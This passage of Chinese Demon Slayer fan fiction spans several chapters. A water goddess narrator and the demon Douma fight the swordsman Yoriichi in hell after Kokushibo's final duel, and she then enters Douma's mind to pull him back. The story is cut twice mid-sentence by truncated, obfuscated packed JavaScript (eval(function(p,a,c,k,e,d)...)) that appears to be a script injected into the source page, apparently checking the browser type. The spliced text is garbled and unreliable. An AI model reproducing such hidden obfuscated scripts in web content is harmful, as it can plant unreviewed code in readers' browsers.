鬼睁大了那双漂亮的眼睛,泪汪汪地看着他:“呐呐,猗窝座阁下,咱们都快永别了,您还要这么冷酷地对待我吗?我可是刚刚才冒着生命危险帮了您呀,承认我是您最好的朋友就这么难吗?” 狯岳看着他俩,一副完全无法理解的表情,我忍不住想笑,但感觉此时此刻还是严肃一点比较好。 “狯岳,一个人想守护重要之人的时候,会爆发出比往常强几倍的力量,何况狛治阁下曾经是上弦之叁,甚至比童磨大人还要早成为鬼,期间一直勤于修行,你输给他并不丢人,而只要你像他一样磨练个几百年,相信你也能得到他的成就,毕竟你曾经是能使用呼吸法的剑士,不要糟蹋了自己的天赋。” 我用力拍了拍他的肩膀:“别人的赏识是靠不住的,自己认可自己才最重要,明白了吗?” “我输了。”狯岳心如死灰地垂下头,“我向无惨大人出卖了你们,杀了我吧。” “唉,你这孩子怎么这么别扭啊?”我叹了口气,“你的求生欲到哪里去了?我可告诉你,现在你要跑还能跑得掉,等下童磨大人心血来潮想给你救赎,你就真的跑不掉了,到那时可别怪我不管你。” 狯岳难以置信地看着我,呆呆地憋出一句:“为什么给我救赎我反而跑不掉?这是什么道理?“ 我笑出了声:“因为童磨大人的救赎就是杀人啊,笨蛋!” 狯岳好像终于听懂了,他一把抓起地上的刀,最后回头看了我一眼,犹豫着问: “我们还能再见面吗,水神大人?” “能,一定会再见的。”我微笑道,“如果能出去,我就回来接你。再见面的时候,你一定已经变得很强了,我相信你,狯岳。” 他嘴角抽搐了一下,不知是要哭还是要笑,却硬生生忍住了,转身以极快的速度跑进了死灵森林。 我走到那道大地上的裂隙前,大致感受了下灵力的流动,轻轻吸了口气: “童磨,你来试试看,果然这次的‘门’和上次不太一样。” “诶?真的吗?” 童磨收起了玩闹的表情,走过来看了看。 “好像的确不太一样哦?不用管啦,先按之前的计划做吧。” 我从刀上拿下了伪装成刀锷的时轮,将它抛到了空中。时轮上闪现出一圈明亮的金色光晕,变成了原先的大小。它像一只平放的碟子那样漂浮在半空,上面的咒文依次在空气中浮现。紧接着,大地震动了一下,以时轮为中心升起了一道巨大的浅金色光柱,和天空中的三途河连接在了一起。 “这就对啦!”童磨高兴地拍了拍手,“和上次明明一样嘛!” 我却高兴不起来,如果一样的话,只能说明这可能又是一道只允许人类灵魂通过的门。 那道金色的缝隙在我们面前徐徐敞开,如同一个新生的希望。 我从未像此刻一样期盼着离开地狱,但也只能鼓起勇气走上前面对现实。 用手试了试灵力的流动后,我暗暗叹了口气。 果然不出所料,门的那一边不是人世。 我朝狛治阁下和恋雪点了点头。 曾经名为猗窝座、现在叫做狛治的少年,抱紧了他怀中的女孩,坚决地、毫不犹豫地走向了那道门,女孩则紧紧抓住了他白色的道服。 不论面对的是生还是死,是天国还是地狱,我想谁都无法再将他们分开。 路过我跟前时,恋雪轻轻朝我点了点头: “神明大人,给您添麻烦啦,我们来世再见。” “来世再见,恋雪,这次一定要幸福哦。”我微笑道,“我的神社就在江户城外的荒川边,如果你们回去后还能记得我,欢迎你们随时来做客。” 在踏进‘门’的前一刻,狛治突然停下了脚步。 他没有回头,声音依旧冷冽: “我欠你一个人情,童磨,如果还能见面,我会记得还你。” “诶呀呀,狛治阁下是在感谢我吗?人家好开心~”鬼笑眯眯地说,“我就说我们可以慢慢搞好关系嘛。不过阁下不再做鬼了,我还是觉得相当惋惜呀,您真的不考虑…” 我听到狛治低声骂了句什么,就头也不回地走进了那道光的门扉。 “诶?他说什么?” 童磨困惑地问。 “…是句江户城里流行的脏话啦,说你脑子有病。”我无奈地说。 “啊啊,狛治阁下真是个冷酷无情的人呐!”鬼委屈地叫起来,“做鬼怎么了,做鬼明明很好,是他自己的脑子不灵光,没我晋升的快,才总是内心不平衡。算了算了,人家是个善良的人,就原谅他啦。” 我走过去轻轻拉住了他的手。 “好啦,我们走吧。” “小染,果然还是不行吧。” 我转过头注视着童磨,他脸上只有一片平静。 我莫名地感到了突如其来的愤怒和难过,难过到马上就要哭出来。 是啊,不行呢。 为什么就是不行?为什么他想要以自己喜欢的样子活着,就硬是没有一条出路呢? 为什么鬼必须变回人类才能在世上活下去?为什么不论在人世经历了多少苦痛挣扎,都无法得到任何补偿? 为什么没人问一句为什么,就将他们打下地狱永不超生? 成为鬼是那个孩子唯一一次选择自己命运的机会,他并不为此感到后悔。凭什么?凭什么这样对待他?他从小连人类的感情都无法体会,凭什么要逼着他做回人类?难道就非要他低头认罪,承认他两百年来所做的、所经历的一切,都毫无意义吗?! 没人有权利这样伤害他,只要我活着,就不许任何人再伤害他! 我咬了咬牙,拼尽全力对他扯出一个安慰的微笑。 “没事的,我再想想其他的…” 话音未落,大地忽然又抖动了一下。 在远方的荒原上,一道新的光柱拔地而起,与天空相接。 又一道门?! “童磨,好像开了一道新的门哦!”我惊讶地说,“我们要不要去…” “等等。” 身旁传来了一个低沉的嗓音。黑死牟大人不知何时走到了前方,直直地凝视着那道门。 我眼中的上弦之壹,一向是个肃穆而沉寂的男人,因此我从未见过他流露出如此…混杂着期待、怀念和悲哀的气息。 我顺着他的目光望去,发现那道门里走出来一个人影,依稀能看清是位身材高大的剑士,身披火红色的羽织,梳着与黑死牟大人相同的高马尾,只是脸上覆盖着一张白纸。 一位…神灵? 但为什么好像在哪里见过他? “诶呀呀…” 我听到童磨发出了惊讶的声音。 “看来发生了了不得的事呐,小染。” 恶鬼微笑起来。 “那位缘一阁下,还真的光临地狱了呀。” 78. 无限(11) 动物对天敌是存在直觉的。 譬如在山林里,山猫和猞猁出现的时候,聪明的鹿就会四散而逃;而天上有猎隼徘徊的时候,就连速度最快的兔子也会尽量把自己隐藏在蓑草间。 那个身影一出现,我就知道他是鬼这种生物的天敌,是天神们为了对付恶鬼而锻造的利刃。 虽然在幻境中见过他,但真人的感觉还是不同。这个灵魂的全身感受不到一丝一毫的杀气,硬说起来可能更接近一棵树,甚至是我所熟悉的山林的气息,一种宁静纯然的存在。 然而为什么这样的一个人,会跟鬼过不去?按道理神明不会直接对人类说出他此生有什么使命,产屋敷那种直接和神官家族有来往的除外。难道这位也是个产屋敷?不对啊,我明明记得他姓继国。 总不会又是那种最常见的倒霉原因吧——鬼杀了他全家? 不不,最关键的问题是… 他不是早就死了吗?! 一个死了至少四百年的人,怎么也应该去转世了吧,为什么会以神灵之姿降临地狱?! 脑子里全都是乱七八糟的想法,我有生以来第一次体会到什么叫不知所措。 是为了鬼王来的吗?但无惨大人已经消失了啊。 难道是…为了见他哥哥? 我看了一眼黑死牟大人,震惊地发现他按住虚哭神去的手,竟然有些微微的颤抖。 他望着他,像是隔着生和死,隔着无数个前世。 那个男人远远地停住了脚步,白纸遮面,我看不到他的表情,但很明显,他也在望着他。 也难怪,他们是同胞兄弟,隔了四百年,虽然一个似乎成了神灵,一个作为恶鬼堕入地狱,但应该也有很多话想跟对方说吧。 我感到了一丝尴尬,我俩这就显得有点多余了。 “童磨大人,不如我们先回去?我觉得他们应该是想叙叙旧?“ 我回头问那只鬼,发现他虽然嘴角依然噙着微笑,但眼睛里一丝笑意也无,剔透冷冽如万年寒冰。 “小染,你不会傻到以为这位缘一阁下,是特意跑来地狱找他兄长叙旧的吧?” 他用一种轻柔而冷静的语气说道。 “我们大概是跑不掉了哦。” “诶?为什么?我们和他并没有私仇啊。” 这句话一出口,连我自己都发觉了自己的天真。早云他们和童磨也没有私仇,依然是上来拔刀就砍,一点没有犹豫。不论哪个时代的猎鬼人,似乎都将斩杀恶鬼当作自己义不容辞的使命,这份使命就这样随着鬼舞辻无惨的存在而传承了千年,但现在…… 现在,童磨吞噬了无惨,尽管他自己没当回事,但在神明眼中已成为了新的鬼王,地狱中的“天道”终于为此而启动,降下了天罚。 “怎么能这样…开玩笑的吧。”我喃喃道。 神明想要的是封死鬼这种生物的一切出路,现在甚至到了连灵魂都要抹杀的程度吗? 早就知道,我想从地狱里带走恶鬼,就必定会迎来天道的挑战,但直接不知道从哪请来一个死了四百年的、带有“神降”之力的猎鬼人,天神们还真是很给我们面子啊。 但这也证明了,除此之外,他们不想沾染更多的因果,所以派来的并非其他不相干的人或神。 “黑死牟大人,您确定要这样做嘛?“ 突然听到童磨笑嘻嘻地开口,一如既往地不正经。 “那可是缘一阁下哦。如果我们三个联手,大概还有那么一丁点砍到他的可能,而您真的打算抛下我们,自己独自赴死嘛?” 我这才忽然意识到即将发生什么,几乎没有犹豫地,我快步走到上弦之壹面前,跪在了地上。 鬼剑士并不看我,只是言简意赅地说: “让开。“ “黑死牟大人,请您冷静一点。”我深深地伏下身体,“您一个人是不可能取胜的,我们可以合作。在地狱里灰飞烟灭的话,是没法再转世的,请您…” “让开。” “黑死牟大人!” 我抬起头直直地盯着他:“我知道这很失礼,但请您不要这样!我…很感谢您教导我的一切,虽然不明白您为何如此执着,但请您务必爱惜自己的生命!” 那高大的男人终于微微低下头,赤金的鬼瞳中看不出情绪,只有历尽沧桑后的平静。 “你…也曾是武家之女,”他缓缓说道,“可知身为武士…何为最高的荣誉?” “是…是战死。”我咬牙道,“但武士的时代早已结束了,大人,连幕府都已经不复存在了!” 上弦之壹像是没有听到我的话。 “我曾抛弃世家,妻儿,变成这副丑陋的姿态…乃至被后辈斩杀…堕入地狱…只为…追逐那独一无二之人…” “然而我幼时…只想成为…最强的武士罢了…” “这便是…我的愿望。” 啊,为什么,为什么呢? 我不明白,不明白这对兄弟之间到底发生过什么事,不明白为什么世上还有如此深重的执念,不明白人类的爱与恨,为什么如此炽烈又令人痛楚。 但我明白什么是“愿望”,愿望能让一个弱小的女孩献出灵魂成为神灵,愿望能让她行走在暗无天日的地狱,两百年来不曾迷失,愿望能让她拿起刀,拼上性命守护重要之人。 这是我们每个人对自己为何而生、又为何而死的抉择,外人无权干涉。 “是这样吗…我明白了。” 我郑重地对他行了一个武家的拜礼。 “临别我只有一句话相赠,黑死牟大人…请容我叫您一声老师,请您无论何时都不要忘记,极乐地狱之端…必有光明。” 他眼中有几不可见的微光闪烁了下,轻轻颔首。 “云雾皆散,心中唯有明月。此乃…长尾景虎之言。” “是。”我点头,“您在我心中就是最强的武士,老师,愿您武运长久。” 我站起身垂首退到了一边,却听他说: “我教你的剑型,可都记住了?” 心中颤了一下,我忍住眼泪,任性地大声说:“学生天资愚钝,一时记不住那么多,还指望日后继续受老师教导!” “那就趁此时…用你的眼睛好好看看吧,我引以为傲的…月之呼吸。” 说罢,他大步走远,再未回头,只有一物从松开的手中滑落,掉在萋萋荒草间。 我上前捡起,发现那是一支制作的极为粗糙的竹笛,不知来自何处,年代看起来相当久远,被摩挲地没了棱角,在黑暗中泛着骨化石般的幽光。 这是和我的银铃一样的羁绊之物,乃至能穿越生死,与他一同堕入地狱,然而此刻,他却丢下了它。 他丢下了它,拔出了虚哭神去,巨大分叉的妖刀像一个血肉铸就的怪物,上面却萦绕着清冷傲岸的月光。 对方在片刻的安静后,也拔出刀来,如同旭日初升般的光芒瞬间照亮了整个死灵地狱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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神明救不了他,只有这个人,这把刀,这样结束,才能救他出无间地狱。 “我们上吧,童磨大人。”我对身边的恶鬼说。 童磨握着扇子笑起来,好像要迎接什么大喜事:“啊,这下真的要死了吧。呐呐,小染还有什么遗言吗,趁现在说出来吧,我会听哦。” “不会死的。”我也冲他笑了笑:“我说过,一定会带你出去。我是神明,神明信守承诺。” 下一刻,那只鬼忽然贴了过来,在我耳边轻轻吐出冰凉的气息。 “小染虽然是神明,但也是个女孩子呀。不要太勉强自己,偶尔接受一下别人的保护也不是不可以哦。你是我唯一的眷属,要好好爱惜自己呀。” “你干嘛,搞得好像告白一样,好奇怪啊。”我惊讶道,“放心吧,我是女孩子没错,但就算那样,也是江户武家的女孩子,没那么软弱的。” 黑死牟大人曾说过,武家的女子,战乱之时上阵杀敌也并不罕见。他不会因为我是女子,而等闲视之。 他说过,若有犹豫,挥刀斩断即可。 我的老师,是个敢以凡人之力,挑战神明的人。 想到这里我昂起了头,直视着那名为“继国缘一”的天罚。 “来吧,就让你见识一下神明的力量。” 79. 无限(12) 有点出乎意料的是,那名宛如神明的剑士在黑死牟大人消散后,只是呆呆地站在原地,好像不知道该做点什么才好。直到我走到了离他很近的地方,才好像抬头看了我一眼。 隔着白纸,我看不见他的表情,于是冲他笑了笑:“你是缘一阁下吧?你应该已经死了四百多年了,为什么来地狱?” 白纸下传来一个极为平常的、男人的声音: “我为斩杀无惨而来。” “抱歉,要让你失望了,无惨大人已经消失了,跟你兄长一样。”明知道没可能,我还是忍不住劝他,“我是荒川的水神,知道缘一阁下天赋异禀,我们都不是你的对手,但你的力量也不过是神明所赐,你只是神明手中的刀而已。我们之间无冤无仇,你看起来也不是那么执着的人,就不要…” 话音未落,一道灼浪就已袭到眼前,却绕过了我,直奔我身后的童磨。 快到看不清他的动作,乃至看不清他这个人。 “躲开!别让那刀碰到你!”我大喊一声,冲那道阳炎般的身影扑了过去。 出乎意料地,童磨的反应比我想象的快。空气的温度急剧下降,平地一连升起三道厚实的冰壁,凭空生出了大片闪耀着寒芒的莲华之刃和尖锐的冰刺,如同暴风骤雨般从四面八方攒射而来。 然而这也只是稍稍阻滞了那道身影一下,只见金色的炎流原地一个回旋,三道冰壁几乎一瞬间就被砍开巨大的缺口,冰莲也在灼热的剑气前消融殆尽。 属性克制啊…真不愧是天敌。 “沧龙·走蛟!” 我边召唤出三途河的洪流,边以自己都无法想象的高速冲了过去,在那把赫灼之刃挥向童磨脖子的一瞬间,用尽全部的力气举刀挡在了他面前。 强烈的撞击让我全身被震到好像要碎了一样,这男人挥刀的力量大到不可思议,简直如同凌空劈来的雷。这种情况下通常不是刀断就是人飞出去,于是我拿出了先前对付早云的那招,侧了下刀身想卸掉他刀上的力道,然而发现不行,那样做得话,力量不够的我根本挡不住他的刀。 于是我被那道炎流直撞了出去,好在没飞出去多远,就落在一个巨大的手掌上,回头一看,童磨坐在睡莲菩萨的肩膀上,嬉皮笑脸地说: “缘一阁下上来就是如此漂亮的斩击呀,那我也不客气啦。” 说罢他两把金扇同时展开,轻轻一抬,大片冰莲蔓从大地上和虚空中生长出来,弥散开夹杂着血色的冰雾,顷刻天地间一片苍茫。 是“冻云”和“蚀”。我心领神会地跳起来,趁着浩荡的洪流奔袭而至,冲击到那道身影的一刻,长刀向天空高高举起。 “雨瀑!” 大雨倾盆而下,在高空化作无数冰晶和雪花。冰的莲蔓开始疯狂蔓延,半空落下密如急雨的冰刺,如同冬日倒挂冰凌的屋檐突然断裂。 白雾弥漫,我赌对方可能一时看不清,便抓准时机对童磨脑内通讯。 “他是通透视野,尽可能隐藏气息!” 童磨回我一连串抱怨:“真是的,完全看不清他的动作呢!这么快的剑技真的是人类嘛?” “当然不是人类,他可能已经成了神灵,毕竟活着时就是天生的神降载体啊!”我快速说道,“我能看清,我们来共享视觉。我缠住他,你辅助我就好,记住不论用什么血鬼术都一定和他拉开距离,我一个人能挡住他。” “好的哦!”鬼欢快地答道。 这种情况下也能保持轻松愉悦的语气,不愧是你,童磨。 话音未落,弥漫的雪雾突然被炽烈的金炎冲散,蜿蜒如游龙的剑气破开一切阻碍,直奔那尊睡莲菩萨而去。 我已经无暇分辨这是哪一个剑型,脑子里只剩下骂人话。 该死的,这人是有什么毛病吗?到底为什么一声不响就是咬死了童磨不放? 鬼毫不犹豫地放弃了那巨大的冰菩提,转身隐入漫天风雪。转眼冰菩提就碎成了几大块,如同冰山般轰然坍塌。但很快,血鬼术的气息从四面八方袭来,仿佛有很多个童磨在同时发动攻击。 是御子,居然一次就用上了八个,看来那只鬼是真的认真起来了。 我踩着半空飞散的莲华刃疾奔向前,从侧面撞上了继国缘一,堵住了他的去路。 刀上和全身腾起亮烈的金光,水神的神力光华流转,源源不断地流进我的灵体。 这男人的速度和力量都是神灵才有的,挥刀的技巧和熟练程度我却比不上,能做的只有用神灵之力硬扛。 好在我那不知道被封在哪里的御神体,目前似乎能为我提供足够的力量。 隔着覆面的白纸和剑芒,他再次开口,声音却显得挺温和。 “请你让开,不要阻拦我。” 我咬牙道:“继国缘一,你眼睛是不是瞎了?那个不是无惨!” “对呀对呀,我是十二鬼月的上弦之贰,童磨。”鬼的声音不知道从哪里传来,听起来无辜极了,“虽然不小心吃掉了无惨大人,但人家真的不是他哦!” 这个脑子有病的鬼,谁也没让他自报身份啊! 果然我面前这个看起来如同人偶般安静的男人只是迟疑了一下,就淡淡地说: “吞噬鬼王者,即是新的鬼王。我不会允许鬼践踏人类的生命。” “他跟无惨不一样!”我大声说,“继国缘一,你到底为何而斩鬼?是鬼你就要杀吗?!” 他的身影却突然消失了,一道灼热的剑气自头顶袭来,以极为刁钻的角度横斩向我的脖颈。 那光芒实在是非常美丽,仿佛火之精灵般的剑技,让人感觉看到了一轮幻日。 一块巨大的冰在我头顶突然出现,碎裂的同时堪堪减缓了那刀的速度,我得以向后退出几步,就听童磨在我脑袋里说: “诶呀,好险好险,还以为小染要被砍到了。” “不错啊童磨大人,这不是能跟上速度了吗?” 下一刻我就知道糟糕了,螺旋形的烈焰突然闪现在远处,这天神一样的剑士竟然顺着血鬼术的气息捕捉到了童磨的本体所在,直接以不可思议的速度杀了过去。 “蛇牙绞!”我挥刀大喝一声。 六道光带似的蛇牙刃瞬间升起在童磨四周,四溢的金光带起高速回旋的水流,正面撞上了那道从天而降的烈焰风暴。 “哇啊,这是怎么做到的呀?”那只鬼居然有空在我脑子里惊叹,“小染越来越厉害了哦!” “笨蛋!你身上带着我的御神体,我当然能调用神灵之力啦!”我气的大骂,“都跟你说了要隐藏气息,怎么还这么不小心!” “用血鬼术的话,就没法完全隐藏住嘛。”鬼颇为委屈地说,“算了算了,人家想点别的办法好啦。” 这句话肯定是跟我学的,真不害臊! 说罢他挥扇使出一记枯园垂雪挡开了余下的剑气,再次灵活地闪身,消失在风雪里。 我不顾一切地扑过去,挥刀挡在那把灼热的红刀前。 “你不是鬼。”那名叫继国缘一的男人闷闷地说,“请不要这样,会受伤的。” “都说了我是个神啊!”我觉得这人不是脑子有问题,就是听觉有问题,“我有话要问你!黑死牟大人到底怎么了?为什么他宁可灰飞烟灭也不愿意去转世,你倒是告诉我啊!” 他平静的气息竟然混乱了一瞬。 “兄长他,被无惨…变成了鬼。”白纸后传出有点落寞的声音:“世上不该有鬼这种存在。” “你兄长为什么变成鬼,你问过他吗?!”灼骨的炎阳中,我感觉自己的血和眼泪一起从眼睛里流了出来,“再说变鬼又怎样?就算变成了鬼,那也是你的兄长啊!他说他一生都在追逐你,哪怕下了地狱也没有忘记你!你呢?你到底有没有问过他的感受啊!” “…请让开。” “不要!我是鬼的眷属,也是鬼的学生!今天就算天照大御神亲临,也别想让我后退半步!” 我挥刀格挡住了他的数次斩击,代价是全身像被烧化了一样的痛,仿佛连血液中也灌满了火焰。可能正是因为极致的痛苦,我的头脑格外清醒,开始能够分辨出他挥刀的节拍。 是神乐舞的节拍。 “童磨!跟上我的拍子!”我在脑内朝那只鬼大喊道。 三途河的狂澜夹杂着金色的灵光,像泄洪般倾泻而下,随着我挥刀的节奏,化为张开大口的水之巨蛇,和那条阳炎之龙缠斗在一起。 我曾经以蛇神的形态存在于荒川中百年,蛇类对温度和环境的变化本身就非常敏感,我不需要去看敌人的动作,那灼热的剑气就能自动将我的攻击引向他的方向。 对方显然没想到我能如此死缠烂打,声音温和中带上了一丝茫然: “你为何要保护鬼?” “鬼怎么了?鬼之前也是人啊!”我大声说,“鬼怎么就不能存在于世上?!他们只是天地间的又一种生命罢了!” 名为继国缘一的男人好像确实不太擅长交流,最终只说出一句: “鬼是可悲的生命,这个世界是因为有他们存在,才变得不幸。“ “您确定吗?缘一阁下。” 一个冰冷而戏谑的声音从我身后传来。 “您的想法听起来有些问题呢,”童磨轻柔地说,“我是万世极乐教的教主,对此很有体会,可以跟您说说哦。” 我本能的感到哪里不对劲,正要回头,却听到那只鬼在我头脑里轻声说: “小染,不要分心,跳舞的拍子会错哦。” 一种巨大的压迫感突然从四周袭来,我惊恐地发现,空中飞舞的不再是雪花,而是一团团幽绿色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“缘一阁下,来找我求助的人里,十之八九是家里死了人的。我从小记性就很好,人类时的事记得很清楚哦。还记得享保年的时候闹饥荒,饥荒之后就是瘟疫,很多人从江户逃难到京都,路上就死了。我的信徒们告诉我,就算那样,武士们也还是有白米吃,连一个红薯也不肯施舍给他们呢。啊,我想起来了,我当时的女侍有几个就是这么来的,因为没有吃的,家里人就把那些女孩子丢在路边不管啦,强盗也好,什么人也好,不用花钱就可以领回去,想做什么就能做什么呢。” “在京都府那边的乡下,农民种一年的田,到头来交过年贡就只有橡子面吃,所以很多女孩子刚出生就会被溺死。这也是我的女侍告诉我的,我还记得她哦,是个圆脸的小姑娘,叫小春还是什么来着,如果不是极乐教收留她,就要被卖去做游女了,最后她的弟弟和妈妈也都饿死啦。” “还有个叫夕月的女孩子,她家好不容易在京都府立住脚,做点小生意,结果被一个旗本看上了家里的店面,逼她爸爸上吊自杀。她就和妈妈一起来接受极乐教的庇护,后来她做了我的女侍长,可那个孩子的脑子简直笨到让人想哭,有一次寺里来了两个流浪武士,都已经被我赶出去了,她竟然傻乎乎地追出去给他们送吃的,最后就那么被杀啦。” 继国缘一的刀在一片绿色的海洋中撕开了一条金色的路,耀阳般的高速斩击下,死灵一波波湮灭,但更多的绿光依然在涌出地表。 童磨似乎完全不在意战场上发生的事情,只是以一种冷静至极的语气,自顾自地说着话: “对了对了,还有天明年间,诶呀,那可是一场大灾哦。我当时刚成为上弦之六没多久,从京都搬到江户,在路上就看到人在吃人,您见过那样的场面吗?除了会煮熟之外,和鬼吃人也没什么不同哦,病死的人、饿死的人、女人和小孩都会被吃掉。但幕府的官吏反而抬高了粮食的价钱,才不管那些可怜人的死活呢。本来嘛,在这个世界上,坏人都是整日不劳而获,过的要多痛快有多痛快,善良的好人却总是遭到蛮不讲理的对待,这么简单的事,明明很好理解吧?说起这个,我真是好奇的很呐,难道在战国那个时候,世上不存在战乱和灾荒吗?好奇怪啊,缘一阁下真的是黑死牟大人的弟弟吗?要知道那位大人好像完全不是这样看的呢。” “就连我认识的鬼里,猗窝座阁下是全家被人毒死,小堕姬还是人类时就被武士活活烧到只剩一口气,她哥哥也受了重伤,要不是我这个大好人碰巧路过,他们兄妹就算死在路边也没人管呢,毕竟吉原花街那种地方死个人实在太容易了呀。缘一阁下,即便如此,您还认为只是因为有我们这些鬼的存在,世界才变得不幸吗?” 继国缘一边挥刀,边沉声道:“即便如此,也不是你们滥杀无辜的借口,你把人的生命当成什么了?” 童磨在死灵们的呼啸中放声大笑了起来: “啊哈哈哈,阁下真是比我想象的还要愚蠢呀!人的生命毫无意义,因为人类实在是虚无又可笑的存在啊,他们活的那么痛苦,又惧怕死亡,所以我才会吃掉他们,帮他们远离世上所有的痛苦,让他们和我一起得到永生,只有这样,那些可怜的人才会获得救赎呀!” 他的声音中泛起了刺骨的寒意:“您看起来也经历过很多痛苦的事哦,就让我来救赎您吧,缘一阁下。” 80. 无限(13) 天啊,这鬼到底在说些什么啊! “童磨!快停下!不可以这样!你会失去自我的!” 我在脑子里拼命喊道,然而一向会马上回应我的他,却没了声音。 已经顾不上继国缘一了,我在密密麻麻的死灵中冲开一条路,凭着对鬼血的感知,才终于发现那只鬼坐在一朵生长至半空的冰莲花上,如同俯瞰万物的神佛。 但那双七彩琉璃般的眼睛里,闪烁着星星点点的绿光。 我无计可施,只能冲到他面前狠狠抽了他一记耳光。 “童磨!你疯了吗?给我停下来!” 打的仿佛是一尊冰雕,他面无表情地看了我一眼。 “不可以哦。”鬼以一种毫无波澜的声音机械地说:“我是为了帮助那些可怜的人,才降生到世上的。” “让信徒们得到幸福,是我身为教主的义务。” “我是个善良的人,不会丢下大家不管的。” 我毛骨悚然地发现,那冰莲的神座下,伸出了无数只黑色的手,那些手像是要抓住救命的稻草般拼命向上伸展,死死抓住了莲座。 童磨流着眼泪,情真意切地握住了其中的一双手。 “你看起来好可怜,不用担心哦,我会救你的。” 啊,拜托你,不要在这种时候犯神经病啊! 我挥刀斩断了那些手,但更多的手伸了出来。四下那些细如蚊蚋的声音渐渐变大。 救救我们…救救我们…救救我们…救救我们…救救我们…救救我们… 这是幻觉,还是因果,我一时难以分辨。情急之下,只能用神灵之力张开了多层结界,暂时把失控的死灵和那个叫继国缘一的人隔绝在外,然后我丢下刀坐在鬼的面前,紧紧抓住了他冰冷的手。 这个脑子有病的家伙在关键时刻出岔子也不是第一次了,我能处理,我能! 在战场上给鬼做祓禊,我真是个无所不能的神啊! 和无惨大人不同,童磨的意念里一片纯然的白色,像是落雪的、空无一物的旷野。 那片旷野上站着一个小孩子,有着白橡木般无垢的头发和冰一样剔透的、映着虹彩的眼睛。他披着黑色的法衣,胸前挂着念珠,恰如八岁那年我见到他时的样子。 我竟然不知道该叫他什么,因为这个小孩没有名字。 还没等我开口,小孩反而自己喃喃地说了起来: “我是个聪明又善良的孩子,我做了很多好事,拯救了无数的人哦。” “爸爸和妈妈都爱我,他们说我是神明之子,一定能听到神明的声音,所以就算听不到,我也会顺着他们说话,没办法,就算他们再笨,也是我的爸爸和妈妈啊。” “信徒们也爱我,虽然一开始很反感他们围着我祷告,但他们真的很可怜哦,不是死了家人,就是没了财产,要不就是被人欺负和虐待。他们说痛苦到活不下去了,要神明指引他们去极乐世界,可我好想告诉他们,世上根本没有神明,也没有极乐世界呀,人活着就是痛苦的,而且所有人都会死掉,世上的万物都是这样的,这么简单的道理,他们为什么不明白呢?” “但我只能对他们说,我一定会带他们去极乐世界的,毕竟我存在的意义,就是帮助这些可怜的人,让他们得到幸福哦。” “我一直,一直都很努力哦,从来没有放弃过救赎大家。” “但是为什么…为什么大家都在哭呢?他们没完没了地在哭,说我没能拯救他们,而是杀了他们。他们说讨厌我,问我为什么要活在世上,说我什么也感受不到,像个傻瓜一样。” 他茫然无措地看着我:“我其实…谁也没能拯救,对吗?所以我到底为什么…要来到这个世上呢?” “不对,不是这样的!“ 我扑上去抓住了他的手,好像自己也变成了一个小女孩。 “你救了我!你还记得吗?两百年前,在江户的街边,我快要被人打死了,是你从轿子上下来,对他们说住手,他们才停下的。你走到我面前,对我伸出手,你当时说,‘您脸上都是土呢,快站起来清理一下吧,还有没有哪里受伤,小心一点哦’。” 那孩子依旧茫然地看着我:“你是谁呀,我不记得你哦。” “我是白姬啊!荒川神社的巫女白姬!极乐教的小神子,你忘了我吗?”名为白姬的女孩大声说,“你在我的神社里住了六天,说的每句话我都还记得很清楚哦!” “你说在街上被打不是我的错,是有人故意欺辱我,所以不用为此而自责,你还说我非常勇敢,你都看到了。” “你还教我跳神乐舞,就算我那么笨,你也没有烦我。我后来整整练了一年的神乐舞,刮风下雪都没有停过,只想以后见面时再跳给你看,我做到了呀!” “我兄长故意找你的麻烦,害你用刀割伤了手,我就把他们赶了出去,可你这个笨蛋都不知道痛也不知道害怕的,明明流了那么多的血啊!你真是个笨蛋!笨蛋啊!为什么不知道珍惜自己?为什么不懂保护自己?为什么就让他们那样欺负你啊!?” “我后来带你去了神社的后山看樱花树和萤火虫,还带你去了神社门口的夜市,你也都不记得了吗?!你说你母亲不准你吃点心,怕吃坏牙齿笑起来不好看,可我还是逼着你吃了酱油团子,你说好甜,你还笑了,我记得很清楚,你当时真的笑了啊!” “我们明明约好了,来年你再来江户的时候,我带你去看樱花,吃樱花团子和羊羹,还有蜂蜜蛋糕,等我们长大了,我就…我就带你去喝米酒…可你再也没有回来,我给你写了好多的信,也一封都没能送出去,可我真的写了,我写了啊!” 那孩子伸出小小的手,迷惑地摸了摸女孩的脸:“你为什么在哭啊?不要哭了好不好?” “还有这个!这个铃铛!”女孩举起手腕上的银铃拼命晃给他看,“也是你送我的!我送了你一把没开刃的小刀子,我以为只要这样你就不用再割伤手了,我真傻!我不知道那些人伤害你的方式,根本不是用刀子啊!” “极乐教的小神子,我没有忘掉哦!关于你的一切,我全都牢牢地记住了!就算他们把我推到河里,我也没有忘掉!我知道我们有一天一定会再见面的,等到见面时,我一定会把这些话全都说给你听的!” 那孩子露出了一个微小的笑容。 “你真的好笨哦,被人推到河里,你就死了呀。” “我没有死!我就站在你面前呀!”名为白姬的女孩哭喊道,“我还想再见到你,所以我把灵魂献给了神灵。可我明明告诉过你,生命是无比宝贵的东西,一定要好好珍惜,不可以放弃呀!你为什么要放弃?!你怎么可以放弃?!” “对哦,生命是…很宝贵的东西,要好好珍惜。”那孩子轻声说,“在吉原遇见那两个孩子时,我是这么对他们说的。” “对啊!你说你没能拯救任何人,但你明明有救下那对兄妹!你还收留过很多的人!你也救了我!我还有好多好多的事想和你一起做!你要是敢这么放弃,我绝对、绝对不原谅你!就算下辈子还在地狱里,我也还要缠着你!绝对不会放手的!” “你真的…好凶啊,没见过像你这么厉害的女孩子哦。”男孩温柔地笑起来,“虽然不记得你说的那些事,但不知道为什么,我相信你哦,白姬…小姐。” 女孩愣了下,随即紧紧地抱住了他,嚎啕大哭起来。 “对,那是我的名字!拜托了,不要忘记这个名字!要像我一样,拼命地…活下去啊!” 灼热的炎流重重的撞上了我的结界,发出震天动地的巨响。那个叫继国缘一的男人竟然几乎将死灵燃烧殆尽,一连串快如闪电的斩击落在了结界的表面。 我不得不从意念的世界抽身出来,抓起刀迎了上去,水之巨蛇再次升起,狠狠地撞向他的日轮刀。 